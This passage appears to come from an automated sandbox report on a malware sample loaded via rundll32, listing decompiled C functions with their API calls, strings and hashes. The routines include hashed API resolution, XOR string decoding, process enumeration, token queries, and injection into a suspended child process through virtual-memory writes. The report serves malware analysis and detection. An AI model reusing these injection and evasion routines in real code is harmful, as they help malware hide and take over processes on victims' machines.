					_t116 =  *0x446f8d0; // 0x450f8c0
					_push(_t151);
					if( *((intOrPtr*)(_t116 + 0xec))() == 0) {
						_t138 =  *0x446f8d0; // 0x450f8c0
						 *((intOrPtr*)(_t138 + 0x108))(_t151, _t199);
					}
					_push(0x40);
					_t200 = L"SystemDrive";
					_push( &_v144);
					_t119 =  *0x446f8d0; // 0x450f8c0
					_push(_t200);
					if( *((intOrPtr*)(_t119 + 0xec))() == 0) {
						_t136 =  *0x446f8d0; // 0x450f8c0
						 *((intOrPtr*)(_t136 + 0x108))(_t200, L"C:");
					}
					_v8 = 0x7f;
					_t59 = _t192 + 0x199c; // 0x199c
					_t123 =  *0x446f8d0; // 0x450f8c0
					 *((intOrPtr*)(_t123 + 0xbc))(_t59,  &_v8);
					_t62 = _t192 + 0x100c; // 0x100c
					E044635A9(E0445E34A(_t62, E0445A5D0(_t62), 0),  &_v2644);
					_t63 = _t192 + 0x1858; // 0x1858
					E0446357B( &_v2644, _t63, 0x20);
					_push( &_v2644);
					_push(0x1e);
					_t66 = _t192 + 0x1878; // 0x1878
					_t191 = 0x14;
					E044598D0(_t66, _t191);
					_t134 = E0445DB68(_t191); // executed
					 *((intOrPtr*)(_t192 + 0x1898)) = _t134;
					return _t192;
				}
				return _t68;
			}

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APIs

Part of subcall function 04458DC9: RtlAllocateHeap.NTDLL(00000008,?,?,04459793,00000100,?,0445661B), ref: 04458DD7

GetCurrentProcessId.KERNEL32 ref: 0445DFE9
GetLastError.KERNEL32 ref: 0445E0E3
GetSystemMetrics.USER32(00001000), ref: 0445E0F3
GetVersionExA.KERNEL32(00000000), ref: 0445E1A8

Part of subcall function 0445CA5A: FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,04450000), ref: 0445CAFE

GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 0445E1D3

Strings

TEMP, xrefs: 0445E23F
TEMP, xrefs: 0445E274, 0445E27F, 0445E290
%s\%s, xrefs: 0445E245
USERPROFILE, xrefs: 0445E230, 0445E25E
SystemDrive, xrefs: 0445E29F, 0445E2AA, 0445E2BF

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateChangeCloseCurrentDirectoryErrorFindHeapLastMetricsNotificationProcessSystemVersionWindows
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3131805607-2706916422
Opcode ID: bfa26404196f00dd73f7fe620bd9f17655b2d7e1f9d3e2359141ff7911387bbb
Instruction ID: 29c8acd0b9b1a1c23712cd1f4a7e5bce989813c53d5eb7fa45cbf99f5c1e31db
Opcode Fuzzy Hash: bfa26404196f00dd73f7fe620bd9f17655b2d7e1f9d3e2359141ff7911387bbb
Instruction Fuzzy Hash: 4E914C71700605EFEF04EB75D888FEAB7A8FF08704F14416AE94A97252DB74BA448B91

Uniqueness

Uniqueness Score: -1.00%

Function 0445C778 Relevance: 6.1, APIs: 4, Instructions: 83
stringCOMMON

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C-Code - Quality: 94%

			E0445C778(WCHAR* __ecx, WCHAR* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				intOrPtr _t23;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				E04458F63(__edx, 0, 0x100);
				_v12 = 0x100;
				_t23 =  *0x446f8d0; // 0x450f8c0
				 *((intOrPtr*)(_t23 + 0xbc))( &_v528,  &_v12);
				lstrcpynW(__edx,  &_v528, 0x100);
				_t27 = E04459F85(_t44, 0x978);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E04458D9A( &_v16);
				_t33 = E0445A5E9(_t43);
				E04459FE4( &(_t43[E0445A5E9(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E0445A5E9(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E0445E34A(_t43, E0445A5E9(_t43) + _t40, 0);
			}

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APIs

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

lstrcpynW.KERNEL32(?,?,00000100), ref: 0445C7BF
GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 0445C7F1

Part of subcall function 04459FE4: _vsnwprintf.MSVCRT ref: 0445A001

lstrcatW.KERNEL32(?,00000114), ref: 0445C82A
CharUpperBuffW.USER32(?,00000000), ref: 0445C83C

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: BuffCharInformationUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 455400327-0
Opcode ID: 462a91643f865a36c985e61792070f7553c3b61232789bd4fcb3b7dd349ae443
Instruction ID: 59e9935f1082f1835bad7df959a205203d206f7822570a95f0112872fc120df2
Opcode Fuzzy Hash: 462a91643f865a36c985e61792070f7553c3b61232789bd4fcb3b7dd349ae443
Instruction Fuzzy Hash: D22149B2A00218FFFF14ABA5DC49FAE77BCDF84214F1041AAF505D2152EA746E048B61

Uniqueness

Uniqueness Score: -1.00%

Function 0445EF38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

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C-Code - Quality: 100%

			E0445EF38(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E0445E34A( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E0445A5D0( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

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APIs

LoadLibraryA.KERNELBASE(.dll,?,00000138,00000000), ref: 0445F008
GetProcAddress.KERNEL32(00000000,?), ref: 0445F014

Strings

.dll, xrefs: 0445F004, 0445F007

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: 702429f5657719643bbf86521cba8961b2fd68df130c94fd164540c918728662
Instruction ID: e4bbe1beb7afa4cc75d1ba31f323bb631ca026dfc384bbfd2d0984596e024ae2
Opcode Fuzzy Hash: 702429f5657719643bbf86521cba8961b2fd68df130c94fd164540c918728662
Instruction Fuzzy Hash: 9931B472A00115ABCF24CFA9C984AAFBBE5AF44304F38046ADC05D7362DB70EA41D790

Uniqueness

Uniqueness Score: -1.00%

Function 04458BCD Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
stringCOMMON

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C-Code - Quality: 80%

			E04458BCD(intOrPtr __ecx, void* __edx, intOrPtr _a4, signed int _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v28;
				short _v44;
				void* _t38;
				intOrPtr _t47;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				intOrPtr _t59;
				void* _t62;
				void* _t64;
				signed int _t71;
				signed int _t74;
				void* _t76;
				void* _t77;

				_t71 = _a12;
				_t53 = __edx;
				_v8 = __ecx;
				_t74 = _t71;
				if(_t71 >= __edx) {
					L4:
					_t54 = 0x446f94e;
					L5:
					_t58 = 0;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsw");
					asm("movsb");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_t38 = 0;
					if(_v28 == 0) {
						L8:
						_t64 = _t38;
						if(_t64 == 0) {
							L10:
							lstrlenW( &_v44);
							return _t54;
						} else {
							goto L9;
						}
						do {
							L9:
							_t19 = _t58 + 0x30; // 0x30
							 *((char*)(_t77 + _t58 - 0x28)) = _t19;
							_t58 = _t58 + 1;
						} while (_t58 < _t64);
						goto L10;
					} else {
						goto L6;
					}
					do {
						L6:
						_t38 = _t38 + 1;
					} while ( *((intOrPtr*)(_t77 + _t38 - 0x18)) != 0);
					_t64 = 0xe;
					if(_t38 > _t64) {
						goto L9;
					}
					goto L8;
				}
				_t59 = _a4;
				_a12 = 0x5a;
				while( *((intOrPtr*)(_t74 % _a12 + _t59)) !=  *((intOrPtr*)(_t74 + _v8))) {
					_t74 = _t74 + 1;
					if(_t74 < _t53) {
						continue;
					}
					goto L4;
				}
				_t76 = _t74 - _t71;
				if(_t76 == 0) {
					goto L4;
				}
				_t47 = E04458DC9(_t76 + 1); // executed
				_t55 = _t47;
				_v12 = _t55;
				if(_t55 != 0) {
					_t56 = _a4;
					_t62 = _t55 - _t71;
					do {
						 *(_t62 + _t71) =  *(_t71 % _a12 + _t56) ^  *(_t71 + _v8);
						_t71 = _t71 + 1;
						_t76 = _t76 - 1;
					} while (_t76 != 0);
					_t54 = _v12;
					goto L5;
				}
				return 0x446f94e;
			}

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APIs

lstrlenW.KERNEL32(?,00000138,?,0446CA88), ref: 04458C50

Strings

GetCurrentPath, xrefs: 04458C0A
Z, xrefs: 04458BE7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: GetCurrentPath$Z
API String ID: 1659193697-4005238709
Opcode ID: 1ddeb80cc40492b5c65719936cd363dc26281e42b1fb48b0e6da3758434dcfa6
Instruction ID: fb15d3b7a0b6f82a2135a504d2cf3fda912a9b0e39654068d93510c7f1517e56
Opcode Fuzzy Hash: 1ddeb80cc40492b5c65719936cd363dc26281e42b1fb48b0e6da3758434dcfa6
Instruction Fuzzy Hash: 5C21E631B01645AFDF16EF69C48009FBB76BB8D210B14447ADD41AB326DA70F95A8790

Uniqueness

Uniqueness Score: -1.00%

Function 0445BAF6 Relevance: 4.6, APIs: 3, Instructions: 66
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E0445BAF6(void* __ecx, void* __edx) {
				void* _v304;
				char _v308;
				intOrPtr _v312;
				signed int _t16;
				signed int _t17;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t38;
				void* _t43;
				void* _t45;

				_t33 = __edx;
				_v304 = __ecx;
				_t16 = CreateToolhelp32Snapshot(2, 0);
				_t45 = _t16;
				_t17 = _t16 | 0xffffffff;
				if(_t45 != _t17) {
					E04458F63( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t45,  &_v304) != 0) {
						while(1) {
							_t43 = _v312( &_v308, _t33);
							if(_t43 == 0) {
								break;
							}
							_t38 =  *0x446f8d0; // 0x450f8c0
							_push( &_v308);
							_push(_t45);
							if( *((intOrPtr*)(_t38 + 0x44))() != 0) {
								continue;
							}
							break;
						}
						FindCloseChangeNotification(_t45);
						_t17 = 0 | _t43 == 0x00000000;
					} else {
						_t30 =  *0x446f8d0; // 0x450f8c0
						 *((intOrPtr*)(_t30 + 0x30))(_t45);
						_t17 = 0xfffffffe;
					}
				}
				return _t17;
			}

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APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 0445BB14

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

Process32First.KERNEL32(00000000,?), ref: 0445BB44
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0445BB84

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32memset
String ID:
API String ID: 3344077921-0
Opcode ID: 92332d4cbb77512173c26d3321f74461f5009166788e7154f2a9b102ccac230d
Instruction ID: d49bb9e5faa03efba83ac7e579ae39584a59db0d14251975e278a788dfdb4ca7
Opcode Fuzzy Hash: 92332d4cbb77512173c26d3321f74461f5009166788e7154f2a9b102ccac230d
Instruction Fuzzy Hash: B81108322046419FDB20EE69EC48E6777ECFF88360F04065FF964C7295EB24E9048762

Uniqueness

Uniqueness Score: -1.00%

Function 0445C986 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0445C986(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E04458DC9(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E04458DDF( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

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APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,04450000,00000000,00000000,?,0445CA07,00000000,00000000,?,0445CA30), ref: 0445C9A1
GetLastError.KERNEL32(?,0445CA07,00000000,00000000,?,0445CA30,00001644,?,0445E053), ref: 0445C9A8

Part of subcall function 04458DC9: RtlAllocateHeap.NTDLL(00000008,?,?,04459793,00000100,?,0445661B), ref: 04458DD7

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,?,?,0445CA07,00000000,00000000,?,0445CA30,00001644,?,0445E053), ref: 0445C9D7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: cb1887322d5089fb0621eb5ae9acc7dc49872482de94dcf68cbd07f759e5b0c5
Instruction ID: 6b53f6f162b24788f8cf2340b5a3110755a76df7b0a581f18465aa6891b0e4ac
Opcode Fuzzy Hash: cb1887322d5089fb0621eb5ae9acc7dc49872482de94dcf68cbd07f759e5b0c5
Instruction Fuzzy Hash: 4E016272700214FF9F206FA6EC89D9B7FECDF456A0710056BF905D2222EA30ED0097A0

Uniqueness

Uniqueness Score: -1.00%

Function 0445BE10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
processCOMMON

Download Yara Rule

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Executed
Not Executed

C-Code - Quality: 79%

			E0445BE10(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;

				E04458F63(__edx, 0, 0x10);
				E04458F63( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				_t11 = CreateProcessW(0, __ecx, 0, 0, 0, 4, 0, 0,  &_v72, __edx);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

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0x0445be5f

APIs

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0445BE52

Strings

D, xrefs: 0445BE36

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcessmemset
String ID: D
API String ID: 2296119082-2746444292
Opcode ID: d6885cd9984846e8eebc6d3f3efe308cbdb2eec4be9cf0928741834ab23cd090
Instruction ID: 65b807e0b6aca700726a25ee2c522e652cc8bb9cd805cebd30a7c888a4e18269
Opcode Fuzzy Hash: d6885cd9984846e8eebc6d3f3efe308cbdb2eec4be9cf0928741834ab23cd090
Instruction Fuzzy Hash: DEF06CF26406087EFB20F556DC0AFBF36ACDB45714F500115BF05E71D1EAA4AD0582B5

Uniqueness

Uniqueness Score: -1.00%

Function 0445D889 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0445D889(intOrPtr __edx) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				signed int _t45;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t59;
				void* _t62;
				intOrPtr _t63;
				signed int _t67;
				intOrPtr _t69;
				void* _t70;
				intOrPtr _t86;
				char _t87;
				void* _t88;

				_v16 = _v16 & 0x00000000;
				_v20 = __edx;
				_t86 = 0;
				_t37 = E0445D7CD( &_v16, __edx);
				_t87 = _t37;
				_v24 = _t87;
				_t89 = _t87;
				if(_t87 == 0) {
					return _t37;
				}
				_t38 =  *0x446f8d4; // 0x450fc00
				_t7 = _t38 + 0xac; // 0x515dc7f8
				E0445B6E3( &_v80,  *_t7 + 7, _t89);
				_v12 = _v12 & 0;
				_t67 = _v16;
				if(_t67 == 0) {
					L21:
					E04458DDF( &_v24, 0);
					return _t86;
				}
				while(_t86 == 0) {
					_t69 = 0;
					_v8 = 0;
					while(_t86 == 0) {
						E04458F63( &_v40, _t86, 0x10);
						_t88 = _t88 + 0xc;
						_t49 = E0445BE10( *((intOrPtr*)(_t87 + _v12 * 4)),  &_v40); // executed
						_t94 = _t49;
						if(_t49 >= 0) {
							_t56 = E0445D9DE(E04456297,  &_v40, _t94, _v20); // executed
							if(_t56 != 0) {
								_t59 =  *0x446f8d0; // 0x450f8c0
								_t70 =  *((intOrPtr*)(_t59 + 0xd0))(0, 0, 0,  &_v80);
								if(_t70 != 0) {
									GetLastError();
									_t62 = E0445DADC( &_v40);
									_t63 =  *0x446f8d0; // 0x450f8c0
									if(_t62 != 0) {
										_push(0xea60);
										_push(_t70);
										if( *((intOrPtr*)(_t63 + 0x2c))() == 0) {
											_t86 = _t86 + 1;
										}
										_t63 =  *0x446f8d0; // 0x450f8c0
									}
									FindCloseChangeNotification(_t70);
								}
								_t69 = _v8;
							}
						}
						if(_v40 != 0) {
							if(_t86 == 0) {
								_t54 =  *0x446f8d0; // 0x450f8c0
								 *((intOrPtr*)(_t54 + 0x110))(_v40, _t86);
							}
							_t50 =  *0x446f8d0; // 0x450f8c0
							 *((intOrPtr*)(_t50 + 0x30))(_v36);
							_t52 =  *0x446f8d0; // 0x450f8c0
							 *((intOrPtr*)(_t52 + 0x30))(_v40);
						}
						_t69 = _t69 + 1;
						_v8 = _t69;
						if(_t69 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t67 = _v16;
					_t45 = _v12 + 1;
					_v12 = _t45;
					if(_t45 < _t67) {
						continue;
					} else {
						break;
					}
					do {
						goto L20;
					} while (_t67 != 0);
					goto L21;
				}
				L20:
				E04458DDF(_t87, 0xfffffffe);
				_t87 = _t87 + 4;
				_t67 = _t67 - 1;
			}

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0x0445d9c5

APIs

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

Part of subcall function 0445BE10: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0445BE52

Part of subcall function 0445D9DE: GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0445DA40
Part of subcall function 0445D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0445DA89
Part of subcall function 0445D9DE: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0445DAA6
Part of subcall function 0445D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0445DAC7

GetLastError.KERNEL32(?,?,00000001), ref: 0445D939

Part of subcall function 0445DADC: ResumeThread.KERNELBASE(?,0445D947,?,?,00000001), ref: 0445DAE4

FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000001), ref: 0445D964

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ProtectThread$ChangeCloseContextCreateErrorFindLastNotificationProcessResumeWritememset
String ID:
API String ID: 2212882986-0
Opcode ID: a12d4c5dfc101f37851d77aedb65d92de9c45d714d1da9f008e455a42d44fdd4
Instruction ID: fd928e7c0fcc4124a84e775834535ef83e3d11f4c19fb9d775c55bc435edba79
Opcode Fuzzy Hash: a12d4c5dfc101f37851d77aedb65d92de9c45d714d1da9f008e455a42d44fdd4
Instruction Fuzzy Hash: B24153B1E00205AFEF11EF95D984A9EB7F9FF48314F14806AED05A7266D770AD04CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04456603 Relevance: 3.1, APIs: 2, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			_entry_(void* __ecx, intOrPtr _a4, WCHAR* _a8) {
				long _v8;
				intOrPtr _t15;
				WCHAR* _t23;
				long _t24;
				void* _t28;
				void* _t31;
				intOrPtr _t36;
				void* _t41;
				void* _t48;
				intOrPtr* _t49;

				_push(__ecx);
				if(_a8 != 1) {
					__eflags = _a8;
					if(_a8 != 0) {
						L7:
						__eflags = 1;
						return 1;
					}
					_t15 =  *0x446f8d0; // 0x450f8c0
					 *((intOrPtr*)(_t15 + 0xb8))(0xaa);
					L3:
					return 0;
				}
				E04458DB4();
				E04459787();
				 *0x446f8e8 = _a4;
				E04463D36(_a4);
				 *_t49 = 0xf2e;
				 *0x446f8d0 = E0445F0D9(0x446ca88, 0x138);
				 *_t49 = 0xe8d;
				_t23 = E04459F85(0x446ca88);
				_pop(_t41);
				_a8 = _t23;
				_t24 = GetFileAttributesW(_t23); // executed
				_push( &_a8);
				if(_t24 == 0xffffffff) {
					E04458D9A();
					 *_t49 = 0x1f4;
					_t28 = E0445FCDA(E0445109A(_t41));
					_a8 = _t28;
					__eflags = _t28;
					if(_t28 != 0) {
						_t48 = 0x54;
						 *0x446f8e0 = E0445F0D9(0x446cbf0, _t48);
						E0445647A(_t48, __eflags);
						E04458DDF( &_a8, 0xfffffffe);
						_t36 =  *0x446f8d0; // 0x450f8c0
						 *((intOrPtr*)(_t36 + 0xe8))(1, 0x641);
					}
					_v8 = 0;
					_t31 = CreateThread(0, 0, E044563A2, 0, 0,  &_v8);
					 *0x446f8f4 = _t31;
					__eflags = _t31;
					if(_t31 == 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
				E04458D9A();
				goto L3;
			}

0x04456606
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0x00000000
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0x00000000
0x00000000
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0x04456664
0x00000000

APIs

Part of subcall function 04458DB4: HeapCreate.KERNELBASE(00000000,00096000,00000000,04456616), ref: 04458DBD

Part of subcall function 0445F0D9: GetModuleHandleA.KERNEL32(00000000,?,?,?,0446CA88,?,0445663F,?), ref: 0445F0FB

GetFileAttributesW.KERNELBASE(00000000), ref: 04456655
CreateThread.KERNELBASE(00000000,00000000,044563A2,00000000,00000000,?), ref: 044566DC

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Create$AttributesFileHandleHeapModuleThread
String ID:
API String ID: 607385197-0
Opcode ID: f236f2f131575b69b610e26f762e4228b3fea23ad036df5a249051e8b155047f
Instruction ID: c57a36d6a906f67b43dfe9ebfc95864f940f3889767ebbff9139b8b91166cd87
Opcode Fuzzy Hash: f236f2f131575b69b610e26f762e4228b3fea23ad036df5a249051e8b155047f
Instruction Fuzzy Hash: 9C214F71604205EBEF04BFB5E804A6E37E4AB04314F51856FE95ACA2A2DF78E8448B12

Uniqueness

Uniqueness Score: -1.00%

Function 0445F0D9 Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0445F0D9(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E04459F6B(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0xf2e) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E0445F08E(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E04458D87( &_v8);
				return _t25;
			}

0x0445f0dc
0x0445f0df
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0x0445f0e7
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0x0445f0f9
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0x0445f0fb
0x0445f10c
0x0445f113
0x0445f119
0x0445f119
0x0445f11e
0x0445f129

APIs

GetModuleHandleA.KERNEL32(00000000,?,?,?,0446CA88,?,0445663F,?), ref: 0445F0FB
LoadLibraryA.KERNELBASE(00000000,?,?,?,0446CA88,?,0445663F,?), ref: 0445F108

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: 1a6db5d79649b042a6937c0c88f4787a36f178e0a75c43aa34fcd28d270916d3
Instruction ID: cc3e960d1f9b9b741236dd3398b91574cffec263e8ad8d4953d83fbeb0921164
Opcode Fuzzy Hash: 1a6db5d79649b042a6937c0c88f4787a36f178e0a75c43aa34fcd28d270916d3
Instruction Fuzzy Hash: CFF0A772304114EBEF14BBA9E84485AB3EDDF88696714413BF806D7262DEB0AD458791

Uniqueness

Uniqueness Score: -1.00%

Function 0445CA5A Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0445CA5A(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E0445C92F(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
